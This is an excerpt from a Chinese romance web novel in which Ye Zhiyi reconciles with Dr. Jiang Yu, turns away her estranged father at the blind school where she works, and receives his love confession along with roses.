小区里的车位太贵,叶之一把她这辆廉价的二手车放在附近的停车场,明天一早就开走,平时如果赶得上公交车,她也不常开车,村里地方大,可以随便停,她这种一周开不了几次车的情况,停在按小时收费的停车场比租车位划算。 她步行一段路回去,途中路过一家甜品店,进去给米棠预定生日蛋糕。 付完钱,她无意间看见了一个苹果造型的蛋糕,大小也和普通苹果差不多。 她是不爱吃甜品的。 二十分钟后,蒋煜在她身上闻到了奶油的香气。 他低头凑到她颈间嗅了嗅,“不像洗发水。” 温热的呼吸吹在皮肤上,有点痒,叶之一往后退,“什么?” “你身上有一股好闻的甜味,”蒋煜把她往怀里拉,他闭着眼,下颌轻轻压在他肩上,声音低低的,“半年不见你,我也活得好好的,怎么见一次就完蛋了?你是不是给我下迷魂药了?” 这个季节,晚风里有一丝凉意,拥抱是最舒服的温度。 抱了一会儿,叶之一轻轻推开他,从包里拿出一个蛋糕盒子。 蒋煜看看盒子,又看看她,笑意越发明显。 “给你吃点解药,”叶之一说完就把蛋糕塞给他,转身往入口处走。 蒋煜几步追上她,握住她的手,“一块蛋糕就想把我打发走,我可没这么好哄。” 叶之一脚步不停,“爱要不要。” 两人牵着手进了小区。 小区里很安静,有认识叶之一的邻居跟她打招呼,她神色如常,并没有甩开蒋煜的手,带他去可以坐着说话的地方。 到轮胎秋千附近,她才感觉到蒋煜手指上有东西。 月光不够亮,要借路灯光线才能看清。 叶之一又往前走了几步,趁他不注意,握着他的手抬高。 蒋煜反应迅速,为了避免蛋糕被压坏,他把蛋糕放到圆桌上,同时,被她抓住的左手绕到身后,她整个人都被带着更深更亲近地依偎进他怀里。 叶之一没看清。 她错失良机,比力气又比不过,再想看他手指上的戒指,就得跟他玩猫抓老鼠的游戏。 她抬起头,清楚地看着他眼里的笑意逐渐浓稠。 蒋煜状似无意地用戒指边缘轻轻刮蹭她的皮肤,嗓音是蛊惑人心的低沉好听:“想看?” 他低头靠近她,“亲我,就给你看。” 小区里有人散步,不时从花园旁边经过。 蒋煜本以为她会骂他不要脸,让他滚蛋,她脾气再好一点,也要踩他一脚,或者掐他。 结果都不是,她竟然真的仰头轻吻他唇角。 一下,又一下,勾得他蠢蠢欲动。 奶油香甜味被风吹散,蒋煜沉迷的是属于她的气息,他放松警惕,任由包裹在手掌里的那只手悄然摘下戒指。 叶之一捏着戒指,稍稍拿高,对着路灯的方向。 戒指上还有他的体温。 旧物就是这样神奇,可以无视时间的野蛮,瞬间把人带到曾经那段再也无法重现的回忆。 大学那几年,他们虽然总吵架,但吵完之后他很少不理她,无论是谁的错,他总是先道歉的那一个。 她丢失手机,两天没能联系他的那次,是真的把他吓坏了。 那是他最冷淡的一周,像是要让她切身体会他找不到她时是怎样的感受,不接电话,不回消息,不陪她上课,不一起吃饭,连在图书馆自习,都不跟她坐在一起。 后来她去了一家手作店,敲敲打打一下午,做了这枚戒指。 银戒指和贝壳风铃的意义是相同的。 有熟人经过,叶之一的手指灵活地勾起,戒指套进她的食指。 大家都喜欢米棠,遇到她,自然要问问孩子在学校的情况。 叶之一和蒋煜站得近,对方没问蒋煜是谁,但多次好奇地回头打量他。 等人走远,蒋煜把叶之一拽到暗处。 “没你这样顺手牵羊的,”他捧起她的脸,“还给我。” “你不知道内圈刻着谁的名字吗?” “刻着你的名字就是你的?” 呼吸被夺走,叶之一没有开口诡辩的机会。 她嘴唇带着些微凉意,他舍不得咬痛她,只含在齿间碾磨,吮吻,轻舔,引诱着她回应。 她穿着平底鞋,不需要吃力地垫起脚尖配合他,即使偏过头换气这短暂的几秒钟,他也急切地来寻她湿润的唇,手掌握着她的后颈,缓慢揉捏。 这么吻黏糊糊的,分开后很快又亲到一起,分不清是谁主动。 如果在他家楼下,蒋煜是一定要把她拐上楼的。 室外安全感不够,她耳朵发烫,推他的力道不重,他靠在她颈窝闷声低笑,平复彼此热烈的心跳和呼吸,又抱了几分钟。 蒋煜说话转移注意力:“晚上有没有吃东西?” “吃了,学生吃什么,我就吃什么,”叶之一摸着戒指,“你加班了?” 工作日没有手术,他一般都是正常上下班,这会儿都快九点了。 “没有,忙了一件没有太大进展的事,”蒋煜不想提父母给她增添压力,“体检是正事,你放在心上,别嫌麻烦。” 叶之一点点头,“嗯。” 她该上楼了,但蒋煜没松手,“戒指还我。” 这里光线暗,叶之一取下戒指,摸到他的手,把戒指戴回原本的位置。 蒋煜这才放开她,回去拿圆桌上的蛋糕。 叶之一说:“不知道是什么口味。” “我尝了告诉你,”蒋煜喜欢甜食。 米梅的电话打过来,叶之一拿着手机朝他挥了挥,转身往楼里走。 叶之一在电梯口遇到了裴起严。 他抽烟了,看她的眼神潮湿复杂。 叶之一对米梅说:“妈,我到楼下了,跟严哥聊几句。” 挂了电话,空气骤然安静。 那晚在意外车库看到她的取药单之后,裴起严次日就去工作了,落地后没有找过她,这些天,每当他闭上眼睛,总是反复想起半年前她心痛到呼碱、浑身痉挛抽搐的场景。 她需要靠药物才能入睡,病源可能不只是蒋煜,也有他的责任。 半小时前,他就看见她了。 她和蒋煜牵手,拥抱,亲吻,都是那么自然,仿佛不曾分开过。 第46章 裴起严对叶之一的喜欢是迟缓朦胧的, 不像情窦初开时的一见倾心,也不像经年重逢后依然不顾一切那般固执强烈。 他的爱来得后知后觉,如同长在枝上的葡萄慢慢成熟, 自然发酵成酒精,醇香, 但不醉人。 和蒋煜相比, 他明显是更适合结婚过日子的对象。 适合等同于将就,时机不对, 真心就是负担。 电梯口不适合聊天,邻居上下楼, 看到他们会觉得很奇怪。 两人并排往外走, 离开光线明亮的区域。 路灯光线是柔和的,不至于将裴起严狼狈挫败的情绪全然暴露, 他抽了烟, 等衣服上的烟味被风吹散了些,才稍稍靠近她, 漫无目的地往前走。 裴起严先开口:“这几天睡得好吗?” 叶之一点点头, “挺好的。” 她昨晚喝断片了, 醒来时头很疼,被蒋煜送回家后又睡了几个小时, 午饭后才去学校。 裴起严看着地上的影子,被烟草侵蚀的声音有些沙哑:“能自然入睡就尽量别吃药,那些药物长时间吃,会产生依赖性, 对身体也不好。” 叶之一脚步顿住。 她长期失眠,要吃药才能睡着的事,连米梅都不知道。 “我无意间看见了你的挂号单和取药单, ”裴起严诚实解释。 他转过身,目光缓缓往上,悲伤中掺杂着几分温和的笑意,“没有联系你的这段时间,我想了很多。一一,比起满足我的私欲,我更希望你过得幸福,如果选择他能让你开心,我愿意退回到哥哥的位置。” 一阵酸涩哽在喉头,叶之一有些无所适从,“严哥,对不起。” 对不起这三个字就是答案。 裴起严刚刚才亲眼看到她在蒋煜身边是如何自在随性,那种小女生的脾气,他已经很久没有在她身上看到过了。 在叶家,她是米棠的小姨,是米梅的女儿,家里大大小小的事都要她操心。 生活早已磨光了她的稚气,也收走了她任性的权利。 他没见过她在校园里是怎么恋爱的,大概和刚才那一幕别无二致。 “追求你的机会是我求来的,”裴起严喉咙发窒,“结果本来就有好有坏,我接受。” 故作释怀不是一件简单的事,他面上从容,然而夜色里眼角潮湿,藏着深深的眷恋和不舍。 “对一段感情抱有期待,但无疾而终,我只是有点遗憾。你能不能告诉我,你选择他的理由是什么?因为他毫无底线地缠着你,赶不走,也甩不掉?” 所谓理由,不过是权衡利弊之后自我说服的大道理。 叶之一早上在蒋煜家的侧卧醒来,脑袋一片空白,什么都没想。 如果当时蒋煜干脆利落地放她走了,可能没有后续,但也不一定,至少不会这么快。 虽然他们现在还不算正式复合。 静默片刻后,叶之一低声说:“他……他太好了,我舍不得再推开一次,考虑太多,最受委屈的人只有我和他。我跟蒋煜在一起,是因为我爱他。严哥,你也很好,这半年如果没有你,我大概很难撑下来。失眠睡不着是我自己心里过不去那道坎,不常吃,偶尔实在扛不住了才会吃一颗,没什么太大影响,顶多就是第二天睡醒昏昏沉沉的,你千万别多想。” 提起蒋煜,她眉心舒展,整个人都是放松的。 裴起严淡然地笑了笑,“明白了,你不爱吃葡萄,不是葡萄的错。替我爸给你道个歉,他是为我着急,太希望我们能成为一家人,没有恶意。我不多想,你也别往心里去。” 被裴父理所当然地视为儿媳妇,甚至在外谈婚论嫁,叶之一是有些别扭和不适,她从小就认识裴家父母,倒不会因此抹杀这一家人对她的好。 她慢步往前走,温婉笑着:“我的心很小,装不下那么多事,睡一觉就忘了。” 到此为止,这是共同的默契。 纠缠只会让彼此难堪,退回到原本的位置,还能照常相处,裴起严想着,无非就是他要煎熬一段时间。 裴起严转移话题:“糖糖在学校还好吗?” “她啊,这会儿估计躲在被子里哭呢。” “听笑笑奶奶说,笑笑第一年上幼儿园,哭了半个月。” 正常小孩到了新环境都需要适应,更何况是什么都看不见的米棠,身边没有小姨和外婆,要自己学会坚强,成长总是伴随着眼泪。 两人绕着花园走走停停,又聊了十多分钟,裴起严约了朋友喝酒,让叶之一先上楼。 少抽烟少喝酒这种话,说出来完全没有意义。 叶之一的嘴唇动了动,最终什么都没说。 裴起严望着她,声线温和:“别可怜我,我是个成年人,借酒疗伤而已,不会做伤害自己的身体来换取你的心软这种蠢事。” 强扭的瓜不甜这句真理从古流传至今,男女老少皆知。 知道是回事,轮到自己又是另一回事。 不为自己争取,只站在远处默默付出,等到失去再悔不当初,这才叫遗憾。 裴起严自认尽了力,他骨子里没有卑劣的品性,做不出强取豪夺的恶事,装都装不像样,最多只是在她和蒋煜之间制造点不痛不痒的隔阂。 现在回想起来,他那些背地里的小动作都挺可笑的。 “早点休息,”裴起严先离开,背影在月色下显得孤单寂寥。 叶之一没在原地停留太久,转身进电梯上楼。 米梅盼着周五快点来,好去学校接孩子,听叶之一说了米棠今天的情况,又骄傲又心疼,今晚大概能睡个好觉。 洗漱完,叶之一收到蒋煜的消息:【蛋糕是栗子味道的,甜而不腻。】 叶之一看着他发来的照片,忍不住想笑。 她叫住准备回房间的米梅:“妈。” 米梅又把客厅的灯打开了,“什么事?” 叶之一说话直接:“我打算谈个恋爱。” 米梅缓了一会儿,“跟谁谈?” “你是认识的,糖糖的医生。” “……蒋医生啊?” “嗯,是他。” 叶之一迟早要面对蒋煜的家人,亲情和爱情二选一太难太残忍,她经历过一次,不愿意再让他为难。 一起面对,总比他一个人单打独斗要好。 米梅做手术住院时,蒋煜去看过她,她听护士提过,这位年轻的蒋医生家中显赫,父母都是高官,再往上一代也是混仕途的。 他们这样的家庭,讲究门当户对。 米梅目光温柔,“你想好了就行,妈妈同意。” 叶之一有点意外,“你不劝劝我?” 米梅笑着,长叹一声,“我跟你爸的婚姻很失败,你姐和你姐夫的爱情更惨烈,我一直担心你受到隐形伤害。多一个人爱你,我高兴都来不及,劝什么呢?劝你认清现实条件和门第参差?这些你比我清楚。如果蒋医生是个表里不一毫无担当的人,你也不会主动把你们的事告诉我。你相信他,我相信你。” …… 叶骏出现的时候,叶之一正踩在梯子上换灯泡。 学校每天下午两节课,学生们上完认知理解课,在操场那边做游戏,时不时传来一阵童真的笑声。 校门口的灯不亮了,叶之一去店里买了替换灯泡,自己修理。 正是夕阳西下时分,她站得高,看得就远,公交车停下后,下来一位带着帽子的男人,他没走几步,帽子就被风吹掉。 曾经挺拔高大的身姿已经有了疲惫的老态,那张脸也不似年轻时英俊潇洒。 他捡回帽子,拍拍灰尘,走到校门口,伸着脑袋试图往校园里面看,没人守门,他打算直接走进去时,发现了梯子上的叶之一。 “一一,是我,是爸爸,”叶骏面露欣喜,“你不认识我了吗?” 叶之一换好灯泡,叶骏过去帮忙扶梯子。 他的手还没有碰到梯子,就被她用脚踢开。 双脚踩在地面上,叶之一才看向他,眼神平波无澜,连恨都没有,“我以为你死在牢里了。” “当年是我抛下你,你记恨我是应该的,”叶骏咳嗽两声,“我在新闻上看到了你,还有……还有曦曦的孩子,就在网上查到地址,来看看你们。” 丘新竹是南川市第一位盲人教师,备受关注,学校剪彩那天,有很多家媒体到场拍摄采访。 叶之一语气平淡:“看过了,可以走了。” 她收起梯子,要进去,叶骏拦住她。 刚才她是用脚,没使劲儿,现在直接用梯子隔开两人。 叶骏揉了揉被撞疼的胳膊,往后退,一连问出好几个问题:“孩子叫什么名字?曦曦葬在哪里?你妈妈身体怎么样?一一,这些年,你过得好不好?” 他偏偏要提这些。 叶之一把梯子靠在墙边,神情冷淡,“孩子跟你没关系,姐姐连看你的照片都觉得恶心,我妈的生活更和你无关,至于我……” 话音停顿,她望向远处,几秒钟后,目光回到叶骏脸上,带着讥讽的笑意,“至于我,被你抛弃之后,我过得好不好,你真的想象不到吗?” 叶骏低下头,“我有苦衷……” “少在我面前说这些屁话,”叶之一听得不耐烦,“十四岁那年,你把我丢给那群要债的人,不顾我的死活,现在来演虚假的父女情,是想从我身上捞钱?” 叶骏从背包里掏出一个信封,里面是一叠现金。 他的手很粗糙,皮肤上纵横交错着无数道漆黑的裂缝,“这是我打工的工资,干干净净的,给孩子买几件衣服穿。” “学校接受所有社会人士的捐赠,献爱心请走官方通道。” “一一,我只是想弥补你们娘仨。” “看来监狱里劳动改造是有效果的,但凡你还有一点点身为人类的良知,就不要打扰我们,尤其是孩子,如果你敢翻墙进去,吓到学生,我不会放过你,赶紧滚。” “……” * 蒋煜在六点五十分左右接到叶之一的电话。 她什么都没说,就问他在不在家,确定他刚下班回家后就挂了电话。 他只通过一句“在家吗”就听出她要过来的意思,请钟点阿姨多做了两道她喜欢的菜。 小区门禁录了她的人脸,家门口的锁也保存了她的指纹。 钟点阿姨离开没多久,她就到了。 等她的时间里,蒋煜洗完澡就无事可做,听到开门声前一秒在给她剥柚子,手指沾了些清甜的汁水,抽了张纸巾随便擦了擦就去迎接她。 叶之一踢掉鞋子,甚至都没有耐心把包挂好,光着脚走向他。 蒋煜感觉到她情绪不对,“怎么了……” 话音刚出口,他就被吻住。 她有些急躁,动作也和柔情蜜意不沾边,磕碰到唇齿,带给他轻微的痛感。 即使是感情最好的热恋期,她也极少这样热情。 蒋煜怔了一瞬,很快就反应过来,低头回吻她。 他一条胳膊就能圈住她,手掌握着她的腰,稍稍提起来一点,让她踩着自己的脚背,免得着凉。 两人跌跌撞撞,从门口到沙发旁。 叶之一先喘不过气,靠在他肩头小口呼吸着。 失焦恍惚的视线有了焦点,她看到空空如也的鱼缸恢复生机,蓝色发光小鱼成群游动,穿过水草,靠近灯光时格外漂亮。 茶几上的花瓶里插着一束以白色和粉色为主色系的花,里面应该有栀子,花香清新。 他洗过澡,身上有一股柠檬柚子的香气,淡淡的,很好闻。 她情不自禁往他怀里埋。 蒋煜亲了亲她的脸颊,“发生什么事了?” “饥渴了,”叶之一轻吻他的喉结,双手攀上他的肩,“做不做?” 太阳穴猛跳了两下,蒋煜闭了下眼。 “咱俩现在的关系能到床上那一步吗?”他在索要正经名分,低低的笑声从喉咙里溢出,他还没有意识到自己的声音已经沙哑到何种地步,“男人吃点亏没关系,我可以让你吻,不能给你睡。” “那算了。”叶之一非常无情,转身就走。 她一步都没走远就被蒋煜抓住手腕拽了回去,他有健身的习惯,肌肉并不夸张,脱掉衣服是很有观赏度的美感,穿衣显瘦,但身体结实,胸膛硬硬的,撞上去倒是不疼。 蒋煜捏着她的脸,“亲到一半,要去哪儿啊?” 她的手带着凉意摸进他衣服里,指尖顺着腹肌线条滑动,故意叹了一声气,“蒋医生宁死不屈,我又花不起大价钱,只能去找别的男人。” 这种时候他要是不屈,那就是上班上傻了。 “不准,”蒋煜眸色渐暗,温柔地抱起她,贴着她耳边说:“我更好用。” 蒋煜猜到她遇到什么烦心事或者见了厌烦的人,如此反常地亲近他,不是情愫和欲念在作祟,大概是烦闷郁结于心,找不到出口,准确地说,她是在发泄,但他没有扫她的兴。 她不开心,找的人是他,发泄对象是他,这就足够慰藉他心里那点说不清道不明的情绪。 身体倒进被子里,短暂头晕目眩后,一个念头突然闯进蒋煜的大脑。 他艰难找回一丝理智,目光深深地黏在她脸上,“是不是我爸妈找你了?” “不是,”叶之一下手没轻没重,指甲在他皮肤上挠出红痕,“闭嘴。” 蒋煜翻过身,大手顺着她的手腕往上爬,耐心且强势地分开她紧攥着被褥的手指,和她十指紧扣,用了几分力道,往枕头里摁。 “好,不说话,不唠叨,”他深吻她,低低的笑声含糊不清,“我这张嘴现在只能用来亲你。” 餐桌上的饭菜已经凉透,反正都凉了,再吃得重新加热,早半小时还是晚半小时没什么差别。 挑起这场情事的人是叶之一,她想结束没那么简单。 窗帘挡住了月光,主卧里开着一盏光线柔和的台灯。 她的脚刚落地,没走两步,蒋煜就跟过来搂住她。 热意从身后侵近,气息相融,分不清彼此。 她腿上没力,不断往下滑。 在她跪倒前,他拽过床边的地毯垫在她膝下。 她被困在落地窗和他之间,窗帘不能完全阻隔玻璃的冰凉,身后是热腾腾的胸膛,感官再次被唤醒。 她轻轻推他,“我想洗澡。” “等会儿再洗,”他让她发泄过一次,此时温柔中透着强硬,“先说说你这一天做了些什么?” “……和昨天一样,吃饭,上班,吃饭,下班。” “我的嘴很听话,你这张嘴,得受点惩罚才老实。” 他捏着她的脸,往后转,跟她接了一个绵长的吻。 两人身上都是汗,紧贴在一起,这种情形,她是很被动的,也挣脱不开。 叶之一不是被欺负了就会服软的人,哪怕是在床上。 折腾了一会儿,蒋煜逼问不出只言片语,索性把心里的烦闷抛到脑后,放开了做。 分开半年,家里当然没有计生用品。 套是她买来的,窗边散落着一枚撕开过的粉色包装,是迷乱的事后证据。 叶之一没眼看,闭上眼睛,缩进被子里。 蒋煜摸了摸她的头发,穿好衣服,下床去收拾。 他忙里忙外,又把饭菜热了一遍,倒好水才回房间叫她。 叶之一没睡着,她趴着,有气无力地发出声音:“我要躺着。” “不行,”蒋煜坐在床边,拉下盖着她脑袋的被褥,“不吃饭不许睡觉。” “你好烦。” “烦的就是你。” “那我晚上不在这里睡了,你自己睡吧。” “提醒你一下,你买的是16只装,我的年假还没休。” 叶之一躺着不动,蒋煜就只能抱她去餐厅。 两人坐在一侧,她没鞋穿,一只脚在他腿上,露出膝盖,皮肤微微泛红,看他的眼神里透着控诉。 “这不能怪我,谁让你冷落我那么久,”蒋煜递给她一杯温水,顺势凑过去亲她,“好了,先吃饭,吃完了,我随便你报复,绝不反抗。” 她的脚挪了位置,“踩你也行吗?” 蒋煜拿着水杯的手悄然收紧,眼底还有残留的色欲,唇角勾起一点意味不明的笑,“你试试。” 第47章 气氛有点不对劲, 叶之一只是随口一说,无意挑衅,放在蒋煜腿上的那只脚缩了回来。 晚餐明显有考虑她的喜好, 有两道香辣口味的菜。 她喝着水,“哪道菜是你做的?” 蒋煜到家时, 钟点阿姨已经准备得差不多了。 他起身去门口鞋柜拿了双拖鞋, 放到她脚边,“你明天晚上过来, 我做给你吃。” “我还没到三十岁,不至于每天晚上都饥渴得如狼似虎, ”叶之一吃了一块柚子, 酸酸甜甜很开胃,她慢悠悠地说, “更何况, 我们现在的关系,偶尔一次是人之常情, 长期保持还是不太合适的。” 她洗过澡, 碎发自然散落。 他的衣服穿在她身上过于宽松, 显得身体更加纤细。 盛着柚子的水果盘离她远,蒋煜故意放在餐桌的另一边, 防着她吃太多水果,吃不了几口饭。 她吃完手里的柚子,又伸着胳膊去拿第二块,挽起的衬衣袖口因为她的动作往上缩, 小臂内侧白皙如玉的皮肤上露出几处浅淡的吻痕。 打开外壳,卸下防备,柔软又温婉, 和平时清冷寡淡的模样判若两人。 这是他的叶小鱼。 蒋煜恍惚地看着她干净漂亮的侧脸,有种身心都得到抚慰的满足感。 重逢后两人的关系很难用一句话简单概括,在他以为慢慢变好的时候,戛然而止,急转直下,过了半年,在他试图说服自己就这样算了的时候,一束炙热的阳光穿过迷雾照进阴雨绵绵的沼泽地,柳暗花明。 蒋煜忍不住靠过去亲亲她,“如果我没有理解错,你这是在催促我跟你告白。” “有吗?”叶之一故作茫然,把剩下的柚子喂到他嘴里,“你想多了。” 她拿起筷子开始吃饭。 虽然菜的味道比现做出来的差一点,但也是好吃的。 蒋煜眼里的笑意愈渐浓烈,他拿过桌边的手机,用了一分钟的时间下单,然后神色如常地陪她吃晚饭。 饭后,叶之一去卫生间刷牙。 那些被蒋煜一气之下扔掉的生活用品,他又重新采购回来,比之前的更齐全,她在这里住十天半个月都不会缺什么。 头发差不多干了,她从柜子里拿了个发圈,把蓬松的长发随意挽在脑后。 叶之一隐约听到关门声,很轻,她从主卧出去时,蒋煜正好从衣帽间出来。 “千苓来了?”她问。 蒋煜神情自若,“她忙着折磨俞杨,没空烦我,刚才是我扔垃圾。” 叶之一宿醉醒来的那天早上,没见到来接沈千苓的俞杨。 当时她神思混乱,即使沈千苓在她旁边念叨了好几次俞杨的名字,她也一次都没听进耳朵里,那会儿她没有洗漱,在侧卧里发呆,俞杨不方便打招呼。 叶之一想起来,沈千苓昨天联系过她,“千苓说国庆假期想带朋友去学校当义工,假期我值班。” 蒋煜太了解自己的妹妹,“她是想去给你过生日。” 阳台晚上有点冷,蒋煜拿了条薄薄的披肩给她,“困不困?” 叶之一望着夜空,缓缓摇头。 “那再看会儿月亮,”蒋煜拉着她站起来,他坐到椅子上,她坐在他身上。 她的腿露在空气里,又直又长,赏心悦目,蒋煜摸到凉意,用披肩盖住她,“现在能告诉我,你为什么不开心吗?” 叶之一舒服地窝在他怀里,轻声道:“见到了一个特别恶心的人,把我恶心坏了。” “姐姐生前夫家那边的父母?” “他们啊,我年初就恶毒刻薄地撕过了,短时间内应该不会再凑上门找骂。” 蒋煜的一只手在她腰上,给她按摩,“什么时候?” 叶之一坦然告诉他:“就是我们吵架那天。” 那天蒋煜在叶家门外等了很久,等到裴起严送她回来,气得失去理智,她的情绪和态度都十分消极。 她喝了酒,累得只剩沉默,被他误解成是懒得敷衍和解释。 蒋煜心里很不是滋味,“对不起。” “过去的事,以后不提了,”叶之一仰头在他唇边吻了一下,“今天找到学校的人是我爸,虽然我并不想承认他是我爸。” “打着假心假意弥补你的名义,想见孩子?还是想和解?” “他那个二婚老婆生的儿子根本就不是他的,他是老了,没有依靠了,试图利用亲情骗我给他养老,是不是很恶心?” 她以前从来不跟他说这些。 他只知道,她八岁那年,父母离婚,姐姐被判给母亲,她被判给父亲,离开南川市生活了几年,那几年是她人生中的至暗时光。 蒋煜收拢手臂,“嗯,是很恶心。” 叶之一的声音有些恍惚,“我一直恨他,可今天见到他沧桑的样子,一点感觉都没有。” 那几年拮据窘迫的生活让她在很长一段时间里闻钱变色,就连男朋友送的礼物,她都无法心安理得地收下。 她坚定地跟蒋煜分手,归根结底,是她的自尊心太强,她怕姐夫缠上蒋家这根富裕的救命稻草,从而拽出叶骏这个又臭又烂的毒瘤,那样她在他面前就再也抬不起头。 叶之一总觉得蒋煜身上有种很好闻的香气,跟沐浴露和洗发水的味道又有所不同。 她不看月亮了,脸往他怀里靠,“如果哪天听到他的死讯,我大概会冷血地拍手叫好。” 一个轻柔如羽毛的吻落在她额头。 “我爱你。”他声音低低的。 嗯? 叶之一睁开眼睛,对上蒋煜深邃湿润的目光。 他心疼她的过往。 蒋煜亲她的鼻尖,“我爱你。” 不能稀里糊涂地和好,她是不怎么在意仪式感,太隆重反而不自在,但也不能这么草率。 她有些发愣,“就这样?” 月光恰到好处,他细腻的吻落在她脖颈,鼻梁从她皮肤上擦过,似笑非笑的声音听着有几分纨绔子弟的痞劲儿,“睡都睡了,难不成,还要我手捧玫瑰花,说一堆甜言蜜语表忠心,你才肯点头?” 叶之一睁大眼睛,难以置信,“你……你……” 她胸口起伏,下一秒就要扯开披肩站起来发作脾气,蒋煜闷声低笑,这次,他直接吻住她的唇,被咬了也不往外退。 他的手探进披肩里。 气息渐乱,空气升温。 他手指上戴着戒指,异物感很强,叶之一攥着他的衣服,脚背都绷直绷。 “你……你把那枚烦人、烦人的戒指……摘掉!”她语调不稳,断断续续。 她眼角沁出眼泪,他温柔亲吻,“什么?听不清。” 叶之一恼羞成怒,一口咬在他肩上。 她真想咬死他。 蒋煜稳稳地握在她腰上的右手,轻轻拍了她一下,“别咬这么紧,不在这儿。” 他抱起她进了卧室。 披肩落在地上,无关紧要。 她买来的套倒是物尽其用。 分针转了一圈,叶之一彻底没有力气再去想那些不堪的往事。 洗完第二遍澡,换了干爽的睡衣,她倒头就能昏睡过去。 房门从外面打开,是蒋煜进来了,她闭眼听着脚步声靠近,没有搭理他。 蒋煜坐到床边,伸手摸她的脸,“起来喝口水。” 戒指冲洗干净了,擦拭过,没有水渍,是她自己心理作用,碰一下,耳根很快就升温。 “我要睡觉,”她拉起被子盖住脑袋。 蒋煜把被子往下扯,“声音都哑了……” “闭嘴,”叶之一恼羞成怒地坐起来,正要骂他,却看见了一束红玫瑰。 每朵玫瑰花都处于最新鲜的状态,铺成大面积的暗红色,映着她的脸颊白里透红。 她忽然想起第一次见他时的场景。 老旧灰暗的巷子里,路灯忽然亮起,照在清俊的校服少年身上。 雨水顺着屋檐滴下,花瓣随风散落,那条她走过无数遍的巷子莫名变得空旷。 蒋煜低声道:“先从一束花开始,甜言蜜语以后慢慢说。” 叶之一低着头,双手捂住眼睛。 她最近哭太多次了。 “还是说两句吧,”蒋煜把花放到旁边,靠过去抱她,“叶小鱼,你在我这里不是可供选择的其中之一,是不可替代的唯一,我从来没有选择过,即使你不要我,我也不会找别人,大不了日子就这么索然无味地过着。” 门打开过,什么扔垃圾,是他买的花到了。 每一朵花,她都仔细摸了一遍,还用手捏,显然是在找东西。 蒋煜看着好笑,“在扒拉什么?” 叶之一不死心,拨开紧凑的花瓣,往里摸,“你真没藏东西?” “小心被刺扎手,”蒋煜握着她的手腕,“找戒指是吧,别想了,没有。” “气氛到了呀,毕业那年,你……你不是要求婚的吗?戒指呢?我都没看过长什么样。” “谁在床上求婚?” “……” 这倒也是。 复合和求婚同步进行,确实太快了。 叶之一看看花,看看他,“当时的戒指,你还留着吗?” 蒋煜掀开被子,躺上床,语气不紧不慢:“没送出去就没有意义,我留着干什么?早扔了。” 叶之一不相信,跨坐在他腿上,循序渐进地吻他。 “真的?” “……假的。” 她笑着轻声喘息,“放在哪里?给我瞧一眼。” 蒋煜扯着她的手腕,翻身压住她。 “就不给你看。”他故作凶狠—— 作者有话说:假期快乐!谢谢大家陪我连载,收拾收拾,收个尾就可以完结啦~ 第48章 南川是旅游城市, 国庆假期海边各个景点人流量爆满,沈千苓从小在这里长大,能玩的早就玩过了。 她对那些网红店不太感兴趣, 因为俞杨暂时不方便出国,她就陪他留在南川市。 叶之一在学校值班, 1号到3号天气好, 沈千苓就拉上俞杨一起当电灯泡,挤进蒋煜的车, 三人一同前往景宜村,算是提前给过叶之一过个生日, 他们分开太久, 生日当天肯定还是要享受二人世界。 有几个贫困孩子假期也寄宿在学校,老师们轮休, 叶之一是一直待到6号, 等丘新竹来换她的班,她才能放心离开。 裴起严的母亲意外摔了一跤, 进了医院, 米梅和她是多年的同事兼好友, 算是患难与共,人越老越孤单, 能有几个交心的朋友不容易,这种时候肯定要多多照顾,她从早忙到晚,又是送餐又是陪护, 米棠就没有回家。 得知蒋煜要来,米棠吃完午饭连觉都不睡了,抱着小熊坐在操场等着。 村里空气新鲜, 也不吵闹,沈千苓最先下车,她两手空空,把东西留给后面的两个男人搬。 大门开着,她一进校门就看到了坐在台阶上的米棠。 沈千苓怕吓到小孩,慢慢走过去,“糖宝宝,好久没见,能听出我是谁吗?” 米棠记性很好,“小小姨。” “真聪明,”沈千苓把俞杨拽到她面前,“再给你介绍一个大哥哥,不对,差辈分了,叫他小羊叔叔吧。” 俞杨递给她一个触感魔方,“你好。” “小羊叔叔好,”米棠在学校呆了一个月,性格比之前更开朗了,不怕生人,“谢谢你给我玩具。” 俞杨不擅言辞,只摸了摸她的头发。 蒋煜把箱子放在地上,伸手抱小孩。 米棠搂住他的脖子,“医生叔叔,我特别想你,我在学校里不能用手表给你打电话,因为别的小朋友没有。” “小姨都告诉我了,我也想你,”蒋煜声音温和,“你做的馒头,我吃到了。” 说是做馒头,其实就是给孩子们揪一块和好的面团,揉揉捏捏,无论弄成什么造型,都放进蒸箱里。 米棠做给蒋煜的那个馒头捏了两只兔耳朵,叶之一装进饭盒里带给他。 沈千苓让俞杨教米棠玩魔方, 蒋煜把放到小孩放到地上,“去玩吧。” 沈千苓先牵住米棠,指挥俞杨牵她的另一只手。 蒋煜在后面看着,孩子明显长高了。 他带来的这些都是生活必须品,直接交给门卫大叔搬进仓库,他则去了叶之一的办公室。 叶之一坐在电脑面前想事情,一时有些出神。 “苦恼什么呢?”蒋煜走到她身后,手搭在她肩上,给她按摩肩颈。 他往电脑屏幕瞟了一眼,显示着邮箱界面。 “重一点,脖子好酸,”叶之一闭眼往后靠,“我问你个问题,明星来学校做公益可行吗?” 蒋煜的手指摸到一处穴位,加重力道揉摁,“很多明星做公益都是拍拍照做做样子,借公益给自己的名声洗白,当然我们不用考虑这些,只要能实质性的捐一笔,或者给学校添一些设施,或者定向资助某一位学生,我觉得就是可以的。” “新竹也这么说。” “你怎么想?” 叶之一坦言道:“收到邮件时,我的第一想法是明星的营销团队肯定很专业,学校又能省一笔费用,曝光多,就能让更多的贫困家庭知道有这样一所不收生活费的盲校,也许就不会把孩子锁在家里,送到学校来,孩子总能学些本领。” 窗户开着,微风轻悠悠地吹进来。 叶之一笑了笑,拉长语调:“我都快成财迷了。” 她不知道,这样的她多有魅力。 和家里硬刚是没用的,只会适得其反,蒋煜最近为了讨好父母,专门找康复科的同事学了些按摩技巧,她被他捏得很舒服,眉头悄然舒展。 他送她的项链,她戴着。 蒋煜看在眼里,“我也有事跟你商量。” 叶之一睁开眼睛,她靠着椅子,视线从下往上倒着看他,蒋医生的五官实在优越,这种死亡角度都不难看。 蒋煜拉了把椅子过来,坐在她身边,“八月底糖糖给我打过一次语音电话,当时我一个朋友刚好在,她说糖糖的声音条件不错,昨天偶然遇见了一次,她又问起糖糖,我想着,是不是能让糖糖跟着她上配音课?周末当个课外班上,如果糖糖尝试几次不感兴趣就算了,万一糖糖喜欢呢?” 他总是说得少,做得多。 